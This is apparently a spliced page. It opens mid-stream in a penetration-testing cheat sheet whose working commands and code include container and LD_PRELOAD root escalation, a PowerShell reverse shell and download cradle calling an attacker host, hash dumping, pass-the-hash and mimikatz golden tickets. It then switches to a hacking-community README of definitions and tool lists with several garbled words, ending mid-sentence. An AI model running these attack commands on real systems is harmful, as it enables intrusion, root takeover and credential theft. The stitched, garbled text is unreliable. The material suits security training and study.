{USER}@{TARGET}:/tmp ``` ### Target Machine ``` # Import image lxc image import ./alpine.tar.gz --alias myimage # List images lxc image list # Init lxc init myimage ignite -c security.privileged=true # Mapping / direcotry to image's /mnt/root lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true # Starting lxc start ignite # Spawn image's shell lxc exec ignite /bin/sh # Enter in mounted directory cd /mnt/root/ ``` # Docker Privilege Escalation ``` # id # uid=1002(michael) gid=1002(michael) groups=1002(michael),999(docker) docker run -v /:/mnt --rm -it alpine chroot /mnt sh # id # uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) ``` # Reverse Engineering ### ltrace ``` ltrace {BINARY} ``` # Windows Reverse Shell ### Powershell ``` # cat shell.ps1 $client = New-Object System.Net.Sockets.TCPClient("{LHOST}",{LPORT});$stream =$client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 |Out-String );$sendback2 = $sendback + "# ";$sendbyte =([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() ``` ``` # On Target cmd> powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://{LHOST}/shell.ps1\");" ``` # Windows Password ### Dump Hashes ``` # Secrets Dumps python3 /usr/share/doc/python3-impacket/examples/secretsdump.py {USER}:{PASSWORD}@{TARGET} ``` # Pass the Hash Attack ``` # PS Exec python3 /usr/share/doc/python3-impacket/examples/psexec.py {USER}@{TARGET} -hashes {LMHASH:NTHASH} ``` # Kerberos ### Enum Users ``` ./kerbrute_linux_386 userenum --dc {TAGET} -d {DNS} {USERS_FILE} ``` ### Users Password Hash ``` python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -no-pass -dc-ip {TARGET} {DNS}/{USER} ``` # PowerShell ### Spawn from CMD ``` # Default C:\Windows\system32> powershell # Bypassing Policies C:\Windows\system32> powershell -eq bypass ``` ### Hidden Files ``` Get-ChildItem -File -Hidden -ErrorAction SilentlyContinue ``` ### MD5 Hash ``` Get-FileHash -Algorithm MD5 file.txt ``` ### List Volumes ``` vssadmin list volumes ``` ### List Shadows ``` vssadmin list shadows ``` # PowerView ### CheatSheet [HarmJ0y - PowerView](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) ### Init ``` . .\PowerView.ps1 ``` ### System Info ``` Get-NetComputer -fulldata ``` ### Domain Users ``` Get-NetUser | select cn ``` ### Shared Folders ``` Invoke-ShareFinder ``` # Looting ### SharpHound ``` # Init . .\SharpHound.ps1 # Generate loot.zip Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip ``` # Bloodhound ### Init ``` sudo neo4j console # Access WEB Page and change default password # Default User: neo4j # Default Pass: neo4j firefox http://localhost:7474/ ``` ### Start ``` bloodhound ``` # WiFi ### Gathering ``` netsh wlan show profile netsh wlan show profile <SSID> key=clear ``` # Permissions ### Get Current User Permissions ``` whoami /all whoami /priv ``` ### SeImpersonatePrivilege ``` # Privilege Escalation: https://github.com/dievus/printspoofer wget https://github.com/dievus/printspoofer/raw/master/PrintSpoofer.exe PrintSpoofer.exe -i -c cmd ``` # Base64 ### Encoding ``` base64 {FILE} base64 "{DATA}" cat {FILE} | base64 echo "{DATA}" | base64 ``` ### Decoding ``` base64 -d {FILE} base64 -d "{DATA}" cat {FILE} | base64 -d echo "{DATA}" | base64 -d ``` # Base32 ### Encoding ``` base32 {FILE} base32 "{DATA}" cat {FILE} | base32 echo "{DATA}" | base32 ``` ### Decoding ``` base32 -d {FILE} base32 -d "{DATA}" cat {FILE} | base32 -d echo "{DATA}" | base32 -d ``` # Base58 ### Encoding ``` base58 {FILE} base58 "{DATA}" cat {FILE} | base58 echo "{DATA}" | base58 ``` ### Decoding ``` base58 -d {FILE} base58 -d "{DATA}" cat {FILE} | base58 -d echo "{DATA}" | base58 -d ``` # GPG ### Decrypt ``` gpg -d {GPG_FILE} ``` # OpenSSL ### Decrypt RSA ``` openssl rsautl -decrypt -inkey {PRIV_KEY} -in {ENCRYPTED_FILE} -out {DECRYPTED_FILE} ``` # Steganography ### Exiftool ``` exiftool {FILE} ``` ### Steghide ``` # Embed Data steghide embed -cf {FILE} -ef {DATA_FILE} # Extract Data steghide extract -sf {FILE} ``` ### BinWalk ``` # Analyse binwalk {FILE} # Extract binwalk -e {FILE} ``` ### StegSolve ``` wget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar chmod +x stegsolve.jar java -jar stegsolve.jar ``` # Files Signatures List of Files Signatures: [garykessler.net](https://www.garykessler.net/library/file_sigs.html) ### Fixing/Changing File Signature ``` # File to Hex xxd -p {FILE}.ext > {FILE}.hex # Edit the first bytes to correct signature vi {FILE}.hex # Render file back with CyberChef # https://gchq.github.io/CyberChef/ # # Input: {FILE}.hex # Recipe 1: From Hex (Audo) # Recipe 2: Render Image (Raw) ``` # Binary to ASCII ``` $ cat bin.txt 01100111 01101111 01101111 01100100 00100000 01110111 01101111 01110010 $ cat bin2ascii.sh #!/bin/bash ARRAY=$(cat $1) for bin in $ARRAY do dec=$((2#${bin})) echo -ne \\x$(printf %02x $dec) done ``` # Decimal to ASCII ``` $ cat dec.txt 85 110 112 97 99 107 32 116 104 105 115 32 66 67 68 $ cat bin2ascii.sh #!/bin/bash ARRAY=$(cat $1) for dec in $ARRAY do echo -ne \\x$(printf %02x $dec) done ``` # Binary to Decimal ``` $ cat bin.txt 01100111 01101111 01101111 01100100 00100000 01110111 01101111 01110010 $ cat bin2dec.sh #!/bin/bash ARRAY=$(cat $1) for bin in $ARRAY do echo -n "$((2#${bin})) " done ``` # Hex to ASCII ``` echo {HEX_TEXT} | xxd -r -p ``` # ASCII to Char ``` $ cat ascii2char.c #include <stdlib.h> #include <stdio.h> void main(void) { int ascii[] = {117, 115, 101, 32, 114, 111, 99, 107, 121, 111, 117, 46, 116, 120, 116}; for (int i=0; i<sizeof(ascii)/sizeof(int); i++) printf("%c", ascii[i]); printf("\n"); } gcc ascii2char.c -o ascii2char.o && ./ascii2char.o ``` # Extract All File in Directory ``` import os import zipfile filesList = os.listdir("./extract") for file in filesList: filePath = './extract/' + str(file) with zipfile.ZipFile(filePath, 'r') as zipRef: zipRef.extractall('./extract_txt') ``` # Directory Files Iteration ``` #!/bin/bash for file in ./path/*.txt ; do echo ${file} done ``` # Preload ``` $ cat preload.c #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD"); setresuid(0,0,0); system("/bin/bash -p"); } # Usage $ sudo -l (root) NOPASSWD: /usr/sbin/apache2 $ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /absolute/path/preload.c $ sudo LD_PRELOAD=/tmp/preload.so /usr/sbin/apache2 ``` # Library Hijack ``` $ cat library.c #include <stdio.h> #include <stdlib.h> static void hijack() __attribute__((constructor)); void hijack() { unsetenv("LD_LIBRARY_PATH"); setresuid(0,0,0); system("/bin/bash -p"); } # Usage $ sudo -l (root) NOPASSWD: /usr/sbin/apache2 $ ldd /usr/sbin/apache2 libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007f356c962000) $ gcc -o /tmp/libcrypt.so.1 -shared -fPIC /absolute/path/library.c $ sudo LD_LIBRARY_PATH=/tmp apache2 ``` # C Shell Spawn ``` $ cat shell_spwan.c int main() { setuid(0); system("/bin/bash -p"); } ``` # Dump Flags ``` find / -type f -iname '*.flag' -exec echo{} \; -exec cat {} \; 2>/dev/null ``` # Send File with NetCat ### On Server (Receiver) ``` nc -lv -p 1337 > {LOCAL_FILE} < /dev/null ``` ### On Client (Sender) ``` cat {FILE} | netcat {SERVER_IP} 1337 ``` # Metasploit ### Initializing ``` # Init DB msfdb init # Start Metasploit Console msfconsole # Check DB Status db_status ``` ### Core Commands ``` # Test Target Connection connect {TARGET} # Search search {DATA} # Module Info info {MODULE_PATH} # Select Module use {MODULE_PATH} ``` ### Sessions ``` # Background Current Session CRTL + Z # Show Sessions List sessions # Interact with Session sessions -i {SESSION_ID} ``` ### Internal NMAP ``` # Scan Example db_nmap -sV {TARGET} # Hosts Table hosts # Services Table services # Vulnerabilities Table vulns ``` ### Meterpreter ``` # System Info sysinfo # Get Current User getuid # Get Current Privileges getprivs # List Processes ps # Process Migration migrate {PID} # Run Exploit Suggester run post/multi/recon/local_exploit_suggester # Enable Windows RDP run post/windows/manage/enable_rdp # Shell Spwan shell # Retrive Stored Hashes hashdump # Modify Timestamps of System Files timestomp ``` ### Mimikatz (Kiwi) ``` # Load on Meterpreter load kiwi # Retrieve All Credentials creds_all # Persistence golden_ticket_create ```
# Console: php-console RCE **[SEE VIDEO WALKTHROUGH HERE](https://youtu.be/t_PJiWVIcYw)**
## Let's crowdsource our infosec learning with [ResetHacker Community](https://github.com/RESETHACKER-COMMUNITY/What-Is-RESETHACKER) ![](https://img.shields.io/github/issues/RESETHACKER-COMMUNITY/Pentesting-Bugbounty) ![](https://img.shields.io/github/forks/RESETHACKER-COMMUNITY/Pentesting-Bugbounty) ![](https://img.shields.io/github/stars/RESETHACKER-COMMUNITY/Pentesting-Bugbounty) ![](https://img.shields.io/github/last-commit/RESETHACKER-COMMUNITY/Pentesting-Bugbounty) <p align=""> <img src="https://komarev.com/ghpvc/?username=RESETHACKER-COMMUNITY&label=Profile%20views&color=ce9927&style=flat" alt="Resources" /> </p> Hey folks! ResetHacker community is open for contributers and Everyone is welcome to contribute here. ## Contributing - [Must Read me :)](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/blob/main/ResetCybersecuirty/CONTRIBUTING.md) As of writing, there are no code contributors to the main project. However, You can contribute to learning purpose resources that includes Conference, jobs, Writeups, Tutorials, Bugbounty helpdesk, pentesting helpdesk, How to get started, Review on courses etc. or modifing the README.md or any other repository. **We're inviting community contributers for early stage cybersecurity HELPDESK. This project is not limited to bugbounty or pentesting. Anyone is welcome to contribute.** ## Rules are simple to crowdsource our learning. - Pick a topic from your domain or ADD domain or choose new topics that you find helpful for community. - If you still have question feel free to create an issue on github or want to contribute to this project as a member of Team. DM me on telegram @Attr1b or mail me to [email protected] --- Index | Topics ---|--- **0** | [Weekly InfoSec update](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/tree/main/ResetCybersecuirty) **1** | [CVE Poc and Exploit That matter](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/blob/main/ResetCybersecuirty/CVE's/Readme.md) **1** | [BugBounty-Helpdesk](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/tree/main/Bugbounty) **2** | [Cybersecurity Jobs-Helpdesk](https://github.com/RESETHACKER-COMMUNITY/Pentesting/blob/main/CyberSecurityJobs/Readme.md) **3** | [CyberSecurity Conferences](https://github.com/RESETHACKER-COMMUNITY/Resources/tree/main/Conference) **4** | [Pentesting pre-engagement, NDA form, Report samples, timeline etc](https://github.com/RESETHACKER-COMMUNITY/Pentesting/tree/main/PentestingReports) **5** | [Pentesting for Researchers](https://github.com/RESETHACKER-COMMUNITY/Pentesting/tree/main/Pentesting_for_Researchers) - **Contributors** 💪😎 >Thanks a lot for spending your time helping! Keep rocking 🍻 <!-- readme: contributors -start --> <table> <a href="https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/graphs/contributors"> <img src="https://contrib.rocks/image?repo=RESETHACKER-COMMUNITY/Pentesting-Bugbounty" max = {100} /> </a> </table> <p> Note: Contents inside the **RESETHACKER** is to help the community and all the content belongs to respective Authors and RESETHACKER. <p> # Catalog for Enterprises Index | Topics (Updating Soon) ---|--- **1.** | [Who conducts VAPT?] **2.** | [Benefit of VAPT?] **3.** | [Purpose of VAPT?] **4.** | [Vulnerability serverity & impact analysis.] **5.** | [Difference between VA & PT?] # OWASP top 10 (2017 - 2021) <img width="700" alt="OWASP top 10 mapping" src="https://user-images.githubusercontent.com/25515871/178655070-37eafa42-c714-4ef8-aa5e-eac03c1e776a.png"> # Table of Contents for Community 📚 - [Introduction](#introduction) - [What is penetration testing?](#what-is-penetration-testing) - [Want to become a penetration tester?](#want-to-become-a-penetration-tester) - [Some vocabulary](#some-vocabulary) - [Difference between hacking and ethical hacking](#difference-between-hacking-and-ethical-hacking) - [Languages](#languages) - [Content Management Systems](#content-management-systems) - [Basic steps of pen testing](#basic-steps-of-pen-testing) - [Tools by category](#tools-by-category) - [:male_detective: Information Gathering](#male_detective-information-gathering) - [:lock: Password Attacks](#lock-password-attacks) - [:memo: Wordlists](#memo-wordlists) - [:globe_with_meridians: Wireless Testing](#globe_with_meridians-wireless-testing) - [:wrench: Exploitation Tools](#wrench-exploitation-tools) - [:busts_in_silhouette: Sniffing & Spoofing](#busts_in_silhouette-sniffing--spoofing) - [:rocket: Web Hacking](#rocket-web-hacking) - [:tada: Post Exploitation](#tada-post-exploitation) - [:package: Frameworks](#package-frameworks) - [Books / Manuals](#books--manuals) - [Discussions](#discussions) - [Security Advisories](#security-advisories) - [Must Check out by Awesome resources] - [Additional resources](#additional-resources) - [License](#license) (TOC made with [nGitHubTOC](https://imthenachoman.github.io/nGitHubTOC/)) # Introduction ## What is penetration testing? Penetration testing is a type of security testing that is used to test the security of an application. It is conducted to find a security risk which might be present in a system. If a system is not secure, then an attacker may be able to disrupt or take unauthorized control of that system. A security risk is normally an accidental error that occurs while developing and implementing software. For example, configuration errors, design errors, and software bugs, etc. [Learn more](https://www.tutorialspoint.com/penetration_testing/penetration_testing_quick_guide.htm) ## Want to become a penetration tester? Knowing about risks on the internet and how they can be prevented is very useful, especially as a developer. Web hacking and penetration testing is the v2.0 of self-defense! But is knowing about tools and how to use them really all you need to become a pen tester? Surely not. A real penetration tester must be able to proceed rigorously and detect the weaknesses of an application. They must be able to identify the technology behind and test every single door that might be open to hackers. This repository aims first to establish a reflection method on penetration testing and explain how to proceed to secure an application. And secondly, to regroup all kind of tools or resources pen testers need. **Be sure to know basics of programming languages and internet security before learning pen testing.** Also, this is important to inform yourself about the law and what you are allowed to do or not. According to your country, the computer laws are not the same. First, check laws about privacy and surveillance: [Nine eyes countries](https://en.wikipedia.org/wiki/Five_Eyes#Other_international_cooperatives), [Five eyes](https://en.wikipedia.org/wiki/Five_Eyes) and Fourteen Eyes. Always check if what you're doing is legal. Even when it's not offensive, information gathering can also be illegal! ([Table of Contents](#table-of-contents)) # Some popular domains in cybersecurity **Infosec**: Information security, which is the practice of preventing unauthorized access, use, disclosure, disruption, modification, inspection, recording or destruction of information. The information or data may take any form, e.g. electronic or physical. Infosec can also be a person who practices ethical security. [Wikipedia](https://en.wikipedia.org/wiki/Information_security) **Opsec**: Operations security, which is a process that identifies critical information to determine if friendly actions can be observed by enemy intelligence, determines if information obtained by adversaries could be interpreted to be useful to them, and then executes selected measures that eliminate or reduce adversary exploitation of friendly critical information. [Wikipedia](https://en.wikipedia.org/wiki/Operations_security) **Black/grey/white hat hacker**: Someone who uses bugs or exploits to break into systems or applications. The goal and the method differs depending if they're a black, grey or white hat hacker. A black hat is just someone malicious that does not wait permission to break into a system or application. A white hat is *usually* a security researcher who practice ethical hacking. A grey hat is just in the middle of these two kind of hackers, they might want to be malicious if it can be benefit (data breach, money, whistleblowing ...). **Red team**: According to Wikipedia, a red team or the red team is an independent group that challenges an organization to improve its effectiveness by assuming an adversarial role or point of view. It is particularly effective in organizations with strong cultures and fixed ways of approaching problems. The United States intelligence community (military and civilian) has red teams that explore alternative futures and write articles as if they were foreign world leaders. Little formal doctrine or publications about Red Teaming in the military exist. In infosec exercises, Red teamers are playing the role of attackers. [Wikipedia](https://en.wikipedia.org/wiki/Red_team) **Blue team**: A blue team is a group of individuals who perform an analysis of information systems to ensure security, identify security flaws, verify the effectiveness of each security measure, and to make certain all security measures will continue to be effective after implementation. As a result, blue teams were developed to design defensive measures against red team activities. In infosec exercises, Blue teamers are playing the role of defenders. [Wikipedia](https://en.wikipedia.org/wiki/Blue_team_(computer_security)) **Penetration tester**: An ethical hacker who practices security, tests applications and systems to prevent intrusions or find vulnerabilities. **Security researcher**: Someone who practices pen testing and browses the web to find phishing/fake websites, infected servers, bugs or vulnerabilities. They can work for a company as a security consultant and are most likely a Blue teamer. **Reverse engineering**: Reverse engineering, also called back engineering, is the process by which a man-made object is deconstructed to reveal its designs, architecture, or to extract knowledge from the object. Similar to scientific research, the only difference being that scientific research is about a natural phenomenon. [Wikipedia](https://en.wikipedia.org/wiki/Reverse_engineering) **Social engineering**: In the context of information security, it refers to psychological manipulation of people into performing actions or divulging confidential information. A type of confidence trick for the purpose of information gathering, fraud, or system access, it differs from a traditional "con" in that it is often one of many steps in a more complex fraud scheme. The term "social engineering" as an act of psychological manipulation of a human, is also associated with the social sciences, but its usage has caught on among computer and information security professionals. [Wikipedia](https://en.wikipedia.org/wiki/Social_engineering_(security)) **Threat analyst**: A threat hunter, also called a cybersecurity threat analyst, is a security professional or managed service provider (MSP) that proactively uses manual or machine-assisted techniques to detect security incidents that may elude the grasp of automated systems. Threat hunters aim to uncover incidents that an enterprise would otherwise not find out about, providing chief information security officers (CISOs) and chief information officers (CIOs) with an additional line of defense against advanced persistent threats (APTs). [SearchCIO](https://searchcio.techtarget.com/definition/threat-hunter-cybersecurity-threat-analyst) **site reliability engineer (SRE)**: **Pipeline**: **CI/CD pipeline**: **DevOps**: **DevSecOps**: ([Table of Contents](#table-of-contents)) ## Difference between practising penetration testing and ethical hacking A black hat is practicing penetration testing, but unlike a white hat, this is not ethical hacking. Ethical hacking is about finding vulnerabilities and improve and security of a system. An ethical hacker is the ultimate security professional. Ethical hackers know how to find and exploit vulnerabilities and weaknesses in various systems, jusTheycious hacker (a black hat hacker). In fact, they both use the same skills; however, an ethical hacker uses those skills in a legitimate, lawful manner to try to find vulnerabilities and fix them before the bad guys can get try to break in. An ethical hacker is basically a white hat hacker. ## Difference between SRE and Devops ## **Differnece B/w DAST, SAST And IAST** ([Table of Contents](#table-of-contents)) # Languages Learning programming is the very first way to start learning about security. There's a lot of languages, most people start with Python, it's the easiest and the most popular one. PHP and Go are the less popular to write security-related stuff, but any of these can still be used in such context. Bash and Powershell are mostly about scripting and writing simple CLI applications. Since not all languages work the same way, you need to look at how they work and what you want to learn. For example, C++ and Java compile, PHP and Pyththey are interpreted languages. This definitely changes what you ld use them for. Each language also has its own design patterns. ### Scripting - Bash - Powershell ### Software & mobile apps - JavaScript - Java - Swift - C / C++ / C# ### General purpose - Go - [Python](https://github.com/dloss/python-pentest-tools) - Ruby - Perl - PHP ([Table of Contents](#tableWordPressnts)) # Content Management Systems ![image](https://user-images.githubusercontent.com/25515871/179156778-46da58f4-8531-46ee-93ef-068a9501f789.png) These are the most used Content Management Systems (CMS). See a complete list [here](https://en.wikipedia.org/wiki/List_of_content_management_systems). # SERVER : A server is a central repository or the part of web hosting infrastructure that hosts websites. ## **1. Web Server:** Web server will receive all the requests from sent by visitors visiting your website and also forward only the business requests to application server. The static assets (like CSS, JS components , Web components eg Common images, resources files and html components) will be served from your web server itself. Web server runs on Microsoft IIS:ASP(.NET), Apache: Php/CGI, Apache Tomcat: Servlet, Nginx, HTTPD ,Jetty: Servlet or even Python's Simple HTTPServer etc. Web servers primarily respond to HTTP / HTTPS requests however isn't restricted to simply communications protocol. It may be provided alternative protocol support like RMI/RPC. **Front End (Web UI) <-> BackEnd (API) <-> Web server (web page and graphics files) <-> Load Balancer <-> Application Server(Templete pages code & data) <-> DataBase (Couch DB + MySql + Elasstic DB + MongoDB + Firebase )** ## **2. Application server:** Application server is the server that works between Web server and database server and basically Generate (dynamic content/assets by executing server side code eg JSP, servlet or EJB), manages(Transaction Support, Messaging support etc), processes the data(connection Pooling, object pooling etc) and host application etc and application server will be responsible for only business requests (like Login, Fetching details and etc,. ) ○ MTS: COM+ ○ Email server ○ WAS: EJB ○ JBoss: EJB ○ WebLogic Application Server: EJB ○ Google maps servers ○ Google search servers ○ Google docs servers ○ Microsoft 365 servers ○ Microsoft computer vision servers for AI. • Application servers Application Server can do whatever Web Server is capable and respond to any number of protocols depending on the application business logic. ## **3. Database Server:** Database server handles database queries and It can only accessed by application server. It runs on MySQL, PostgreSQL, MariaDB, etc Database servers use protocols ODBC, JDBC, etc. **Please note:** • Web Server is designed to serve HTTP static Content like HTML, images etc. and for the dynamic content have plugins to support scripting languages like Perl, PHP, ASP, JSP etc • Web container is a part of Web Server and the Web Server is a part of Application Server. • A Web Server in java is also known as a web container or a servlet container which has a limited set of Java EE features like Servlets, JSP etc. Ex: Apache Tomcat. • An Application Server has a web container in it as well as full java EE features like Java Mail Service, JPA, JSF etc. Ex:Glassfish, Apache TomEE, JBoss or Wildfly(new name ), IBM websphere etc. • If you have a Java application with just JSP and Servlet to generate dynamic content then you need web containers like Apache Tomcat or Jetty. While, if you have Java EE application using EJB, distributed transaction, messaging and other fancy features than you need a full fledged application server like JBoss, WebSphere or Oracle's WebLogic. • The use of Load Balancer is to distribute the load between multiple application servers. • Application server can only accessed via web server, database server can only accessed by application server. • If you want to solve web server and application server purposes in one server, I would like to prefer you a VPS hosting servers and dedicated hosting servers.It is because they host volumes of web projects and applications with a higher uptime. From <https://www.quora.com/Whats-the-diference-between-an-application-server-and-a-web-server> https://developer.mozilla.org/en-US/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines ([Table of Contents](#table-of-contents)) # cloud servers ![cloud-provider](https://user-images.githubusercontent.com/25515871/182293888-62d7d7be-0f8a-4220-88f9-36db7be3ac28.png) # Basic steps of pen testing <p align="center"> <img src="https://www.tutorialspoint.com/penetration_testing/images/penetration_testing_method.jpg"> </p> *Source: [tutorialspoint](https://www.tutorialspoint.com/penetration_testing/index.htm)* [Read more about pen testing methodology](https://www.tutorialspoint.com/penetration_testing/penetration_testing_method.htm) ([Table of Contents](#table-of-contents)) # Tools by category A more complete list of tools can be found on [Kali Linux official website](https://tools.kali.org/tools-listing). #### :male_detective: Information Gathering Information Gathering tools allows you to collecinformationata about services and users. Check informations about a domain, IP address, phone number or an email address. | Tool | Language | Support | Description | | ----------- |-------------------------|----------|----------------| | [theHarvester](https://github.com/laramies/theHarvester) | **Python** | `Linux/Windows/macOS` | E-mails, subdomains and names Harvester. | | [CTFR](https://github.com/UnaPibaGeek/ctfr) | **Python** | `Linux/Windows/macOS` | Abusing Certificate Transparency logs for getting HTTPS websites subdomains. | | [Sn1per](https://github.com/1N3/Sn1per) | **bash** | `Linux/macOS` | Automated Pentest Recon Scanner. | | [RED Hawk](https://github.com/Tuhinshubhra/RED_HAWK) | **PHP** | `Linux/Windows/macOS` | All in one tool for Information Gathering, Vulnerability Scanning and Crawling. A must have tool for all penetration testers. | | [Infoga](https://github.com/m4ll0k/Infoga) | **Python** | `Linux/Windows/macOS` | Email Information Gathering. | | [KnockMail](https://github.com/4w4k3/KnockMail) | **Python** | `Linux/Windows/macOS` | Check if email address exists. | | [a2sv](https://github.com/hahwul/a2sv) | **Python** | `Linux/Windows/macOS` | Auto Scanning to SSL Vulnerability. | | [Wfuzz](https://github.com/xmendez/wfuzz) | **Python** | `Linux/Windows/macOS` | Web application fuzzer. | | [Nmap](https://github.com/nmap/nmap) | **C/C++** | `Linux/Windows/macOS` | A very common tool. Network host, vuln and port detector. | | [PhoneInfoga](https://github.com/sundowndev/PhoneInfoga) | **Go** | `Linux/macOS` | An OSINT framework for phone numbers. | #### :lock: Password Attacks Crack passwords and create wordlists. | Tool | Language | Support | Description | | ----------- |-------------------------|----------|----------------| | [John the Ripper](https://github.com/magnumripper/JohnTheRipper) | **C** | `Linux/Windows/macOS` | John the Ripper is a fast password cracker. | | [hashcat](https://github.com/hashcat/hashcat) | **C** | `Linux/Windows/macOS` | World's fastest and most advanced password recovery utility. | | [Hydra](https://github.com/vanhauser-thc/thc-hydra) | **C** | `Linux/Windows/macOS` | Parallelized login cracker which supports numerous protocols to attack. | | [ophcrack](https://gitlab.com/objectifsecurite/ophcrack) | **C++** | `Linux/Windows/macOS` | Windows password cracker based on rainbow tables. | | [Ncrack](https://github.com/nmap/ncrack) | **C** | `Linux/Windows/macOS` | High-speed network authentication cracking tool. | | [WGen](https://github.com/agusmakmun/Python-Wordlist-Generator) | **Python** | `Linux/Windows/macOS` | Create awesome wordlists with Python. | | [SSH Auditor](https://github.com/ncsa/ssh-auditor) | **Go** | `Linux/macOS` | The best way to scan for weak ssh passwords on your network. | ###### :memo: Wordlists | Tool | Description | | ----------- |----------------| | [All Wordlist at one place](https://github.com/RESETHACKER-COMMUNITY/Pentesting-Bugbounty/blob/main/Bugbounty/Wordlists/AllWordlists.md) | Wordlists sorted by probability originally created for password generation and testing. | #### :globe_with_meridians: Wireless Testing Used for intrusion detection and wifi attacks. | Tool | Language | Support | Description | | ----------- |-------------------------|----------|----------------| | [Aircrack](https://github.com/aircrack-ng/aircrack-ng) | **C** | `Linux/Windows/macOS` | WiFi security auditing tools suite. | | [bettercap](https://github.com/bettercap/bettercap) | **Go** | `Linux/Windows/macOS/Android` | bettercap is the Swiss army knife for network attacks and monitoring. | | [WiFi Pumpkin](https://github.com/P0cL4bs/WiFi-Pumpkin) | **Python** | `Linux/Windows/macOS/Android` | Framework for Rogue Wi-Fi Access Point Attack. | | [Airgeddon](https://github.com/v1s1t0r1sh3r3/airgeddon) | **Shell** | `Linux/Windows/macOS` | This is a multi-use bash script for Linux systems to audit wireless networks. | | [Airbash](https://github.com/tehw0lf/airbash) | **C** | `Linux/Windows/macOS` | A POSIX-compliant, fully automated WPA PSK handshake capture script aimed at penetratioAccessing. | #### :wrench: Exploitation Tools Acesss systems and data with service-oriented exploits. | Tool | Language | Support | Description | | ----------- |-------------------------|----------|----------------| | [SQLmap](https://github.com/sqlmapproject/sqlmap) | **Python** | `Linux/Windows/macOS` | Automatic SQL injection and database takeover tool. | | [XSStrike](https://github.com/UltimateHackers/XSStrike) | **Python** | `Linux/Windows/macOS` | Advanced XSS detection and exploitation suite. | | [Commix](https://github.com/commixproject/commix) | **Python** | `Linux/Windows/macOS` | Automated All-in-One OS command injection and exploitation tool. | #### :busts_in_silhouette: Sniffing & Spoofing Listen to network traffic or fake a network entity. | Tool | Language | Support | Description | | ----------- |-------------------------|----------|----------------| | [Wireshark](https://www.wireshark.org) | **C/C++** | `Linux/Windows/macOS` | Wireshark is a network protocol analyzer. | | [WiFi Pumpkin](https://github.com/P0cL4bs/WiFi-Pumpkin) | **Python** | `Linux/Windows/macOS/Android` | Framework for Rogue Wi-Fi Access Point Attack. | | [Zarp](https://github.com/hatRiot/zarp) | **Python** | `Linux/Windows/macOS` | A free network attack framework. | #### :rocket: Web Hacking Exploit popular CMSs that are hosted online. | Tool | Language | Support | Description | | ----------- |-------------------------|----------|----------------| | [WPScan](https://github.com/wpscanteam/wpscan) | **Ruby** | `Linux/Windows/macOS` | WPScan is a black box WordPress vulnerability scanner. | | [Droopescan](https://github.com/droope/droopescan) | **Python** | `Linux/Windows/macOS` | A plugin-based scanner to identify issues with several CMSs, mainly Drupal & Silverstripe. | | [Joomscan](https://github.com/rezasp/joomscan) | **Perl** | `Linux/Windows/macOS` | Joomla Vulnerability Scanner. | | [Drupwn](https://github.com/immunIT/drupwn) | **Python** | `Linux/Windows/macOS` | Drupal Security Scanner to perform enumerations on Drupal-based web applications. | | [CMSeek](https://github.com/Tuhinshubhra/CMSeek) | **Python** | `Linux/Windows/macOS` | CMS Detection and Exploitation suite - Scan WordPress, Joomla, Drupal and 130 other CMSs. | #### :tada: Post Exploitation Exploits for after you have already gained access. | Tool | Language | Support | Description | | ----------- |-------------------------|----------|----------------| | [TheFatRat](https://github.com/Screetsec/TheFatRat) | **C** | `Linux/Windows/macOS` | Easy tool to generate backdoor and easy tool to post exploitation attack like browser attack, dll. | ### pen-testing Frameworks Frameworks are packs of pen testing tools with custom shell navigation and documentation. | Tool | Language | Support | Description | | ----------- |-------------------------|----------|----------------| | [Operative Framework](https://github.com/graniet/operative-framework) | **Python** | `Linux/Windows/macOS` | Framework based on fingerprint action, this tool is used for get information on a website or a enterprise target with multiple modules. | | [Metasploit](https://github.com/rapid7/metasploit-framework) | **Ruby** | `Linux/Windows/macOS` | A penetration testing framework for ethical hackers. | | [cSploit](https://github.com/cSploit/android) | **Java** | `Android` | The most complete and advanced IT security professional toolkit on Android. | | [radare2](https://github.com/radare/radare2) | **C** | `Linux/Windows/macOS/Android` | Unix-like reverse engineering framework and commandline tools. | | [Wifiphisher](https://github.com/wifiphisher/wifiphisher) | **Python** | `Linux` | The Rogue Access Point Framework. | | [Beef](https://github.com/beefproject/beef) | **Javascript** | `Linux/Windows/macOS` | The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser. | | [Mobile Security Framework (MobSF)](https://github.com/MobSF/Mobile-Security-Framework-MobSF) | **Python** | `Linux/Windows/macOS` | Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis. | | [Burp Suite](https://portswigger.net/burp) | **Java** | `Linux/Windows/macOS` | Burp Suite is a leading range of cybersecurity tools, brought to you by PortSwigger. We believe in giving our users a competitive advantage through superior research. **This tool is not free and open source** | ([Table of Contents](#table-of-contents)) ## Books / Manuals - [Advance Penetration Testing by Wil Alsoop, 2017](https://www.amazon.com/Advanced-Penetration-Testing-Hacking-Networks/dp/1119367689/) - [Advanced Penetration Testing for Highly-Secured Environments by Lee Allen, 2012](http://www.packtpub.com/networking-and-servers/advanced-penetration-testing-highly-secured-environments-ultimate-security-gu) - [The Pentester BluePrint: Starting a Career as an Ethical 